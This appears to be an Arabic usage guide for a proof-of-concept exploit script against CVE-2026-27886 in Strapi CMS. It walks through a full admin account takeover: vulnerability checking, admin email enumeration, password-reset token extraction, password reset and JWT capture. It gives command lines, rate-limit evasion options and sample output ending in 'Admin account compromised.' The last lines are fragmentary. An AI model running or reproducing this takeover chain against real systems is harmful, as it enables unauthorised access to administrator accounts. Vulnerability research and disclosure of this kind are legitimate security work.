
إثبات مفهوم كامل للاستيلاء على الحساب لـ CVE-2026-27886 في Strapi CMS
يقوم بأتمتة سلسلة الاستيلاء الكامل على الحساب عبر 4 مجموعات من طلبات HTTP:
التحقق مما إذا كان الهدف ضعيفاً دون استغلال:
./cve-2026-27886-exploit.py https://target/api/articles --verify-only
أتمتة كل شيء إذا كنت لا تعرف البريد الإلكتروني للمسؤول:
./cve-2026-27886-exploit.py https://target/api/articles
المخرجات:
[+] Target: https://target/api/articles
[+] Base URL: https://target
[*] Verifying vulnerability...
[+] Vulnerable: baseline=12, where_test=0
[*] Enumerating admin email...
[email protected]
[*] Triggering password reset for [email protected]...
[+] Password reset triggered (HTTP 204)
[*] Extracting 40-char reset token...
[100%] d1a2b3c4d5e6f7a8b9c0d1e2f3a4b5c6d7e8f9a
[*] Resetting password with stolen token...
[+] Password reset successful!
[+] JWT: eyJhbGciOiJIUzI1NiIs...
[+] User: [email protected] (ID: 1)
[+] SUCCESS! Admin account compromised.
[+] JWT Token:
eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9...
إذا كنت تعرف البريد الإلكتروني للمسؤول بالفعل (يوفر ~500 طلب):
./cve-2026-27886-exploit.py https://target/api/articles \
--email [email protected]
تعيين كلمة مرور مخصصة بدلاً من الافتراضية:
./cve-2026-27886-exploit.py https://target/api/articles \
--email [email protected] \
--password "MyPassword123!"
إذا كان الهدف يفرض حدوداً للسرعة:
./cve-2026-27886-exploit.py https://target/api/articles \
--delay 0.1
يضيف هذا 100ms بين كل طلب (~2-3 دقائق للاستغلال الكامل).
إذا كانت نقاط النهاية /admin/* على مضيف مختلف:
./cve-2026-27886-exploit.py https://api.target/articles \
--base-url https://admin.target
https://target/api/products، https://target/api/articles، إلخ.updated_by_id)--delay 0.05 أو أكبرهذا السكريبت: